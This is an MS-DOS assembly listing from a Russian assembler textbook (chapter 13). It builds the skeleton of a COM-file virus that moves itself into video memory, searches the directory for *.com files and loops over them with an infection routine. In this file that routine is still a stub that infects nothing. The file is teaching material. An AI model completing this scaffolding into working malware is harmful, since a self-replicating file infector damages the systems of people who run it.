
;              VIRUS13.ASM - программа к Главе № 13

; (С) Авторские права на файлы-приложения принадлежат автору книги
; "Ассемблер? Это просто! Учимся программировать под MS-DOS"
; Автор: Калашников Олег Александрович (e-mail: Assembler@Kalashnikoff.ru)
;	 http://www.Kalashnikoff.ru

; --- Ассемблирование (получение *.com файла) ---
;При использовании MASM 6.11 - 6.13:
;ML.EXE virus13.asm /AT

;При использовании TASM:
;TASM.EXE virus13.asm
;TLINK.EXE virus13.obj /t/x


.286	;Будем использовать инструкции 80286 процессора (пришло время!)

cseg SEGMENT
assume cs:CSEG, ds:CSEG, es:CSEG, ss:CSEG
org 100h

Begin:
       jmp Init		;Преходим на процедуру инициализации 


; --- Общие данные ---
Off_move dw offset Lab_jmp	;Смещение и
Seg_move dw 0BF00h		;сегмент адреса, куда будем прыгать
				;0BF00h - адрес (сегмент) 7 страницы дисплея
				;Младшее слово в начале, а старшее - в конце

Off_return dw offset Lab_return ;Смещение и
Seg_return dw ?                 ;сегмент адреса для возврата


;       === Процедуры работы с файлами ===

; --- Открытие файла для записи ---
; Вход:  DX - путь файлу ASCIIZ
; Выход: Handle, BX - номер файла
Open_file proc
     mov ax,3D02h	;Открываем файл для чтения/записи
     int 21h
     mov Handle,ax	;Сохраняем номер файла
     mov bx,ax
     ret

Handle dw 0FFFFh ;Переменная для хранения номера файла (по умолчанию 0FFFFh)
Open_file endp

; --- Закрытие файла ---
; Вход:  Handle - номер открытого файла
; Выход: ничего
Close_file proc
     cmp Handle,0FFFFh	;Нет открытых файлов?
     je No_close	;Тогда выходим (закрывать нечего!) 

     mov bx,Handle	;Закрываем файл...
     mov ah,3Eh
     int 21h

No_close:
   ret
Close_file endp

; --- Поиск первого файла ---
Find_first proc
      mov ah,4Eh	;Ищем первый файл по маске (Mask_file)
      xor cx,cx		;Атрибуты обычные (CX=0)
      mov dx,offset Mask_file ;Адрес маски в DS:DX
      int 21h		;Теперь (если нашли файл *.com в текущем каталоге)
			;имя файла находится по адресу 0BF00:001Eh,
			;т.е. по смещению 30...
   ret
Mask_file db '*.com',0	;Маска для поиска (только COM-файлы)
Find_first endp

; --- Поиск следующих файлов ---
Find_next proc
      xor dx,dx		;DS:DX указывают на DTA
      xor cx,cx
      mov ah,4Fh
      int 21h
   ret
Find_next endp

; --- Заражение файла ---
Infect_file proc
      clc		;Пока просто сбросим флаг переноса.
			;Типа, заразили файл успешно!
			;Потом добавим все, что нужно...
   ret
Infect_file endp


; Процедура инициализации вируса
Init:
       mov es,Seg_move	;ES - сегмент, куда будем перемещать код вируса,
       mov di,100h	;DI - смещение
       mov cx,offset Finish-100h	;CX - количество перемещаемых байт
					;CX = конец нашего вируса - 100h (PSP)
					;Т.е. CX = длина нашего вируса в байтах
       mov si,100h			;DS:SI откуда перемещать будем
       rep movsb			;перебрасываем нашу программу в область
					;7 видеостраницы

;	___________________________________________________

;	!!! Теперь ВНИМАТЕЛЬНО следим за CS в отладчике !!!
;	___________________________________________________

       jmp dword ptr cs:[Off_move] ;Прыгаем куда переместили (фактически на
				   ;следующую строку, только уже в сегменте
				   ;0BF00h!)

; Что показал отладчик? Подумайте, что произошло...

; Теперь мы уже в области экрана
Lab_jmp:
	;Вот сюда-то мы и прыгнули с предыдущей строки! Толко CS теперь
	;равен 0BF00h. Внимательно проследите в отладчике за этим...

       nop	;Это Вам для отладчика (на всякий случай!)
       nop

       push cs	;Настроим сегментные регистры
       pop ds

       mov Seg_return,ss	;Запомним сегмент для возврата.
				;SS-то остается прежним!

       mov ah,1Ah	;Установим DTA для поиска файлов
       xor dx,dx	;Он устанавливается на тот адрес, который содержится
       int 21h		;в регистрах DS:DX. В отладчике посмотрите,
			;что находится в памяти на которую указывают данные
			;регистры, т.е. DS:DX...
			;После выполнения следующей процедуры там будет
			;находиться что-то ОЧЕНЬ интересное...

       call Find_first	;Ищем первый файл
       jc Nomore_files	;Нет COM-файлов - на выход 

Inf_file:
       call Infect_file	;Нашли - пробуем заразить
       jnc Nomore_files	;Удалось заразить - выходим 

       call Find_next	;Не удалось заразить - ищем следующий
       jnc Inf_file	;Нашли еще один COM-файл; пробуем заразить... 

Nomore_files:
       jmp dword ptr cs:[Off_return]	;Возвращаемся в сегмент программы...
		;Интересно, а что отладчик говорит по поводу этого jmp'а?
		;Возможно, сегментные регистры помогут?


;Теперь мы уже в сегменте зараженной программы...
;Только что произошло самое важное!
Lab_return:
       push cs		;Восстановим сегментные регистры...
       push cs
       pop ds
       pop es

       mov ah,1Ah	;Восстановим DTA
       mov dx,80h
       int 21h

       ret		;Выходим в DOS...

Finish equ $		;Метка конца программы-вируса

CSEG ends
end Begin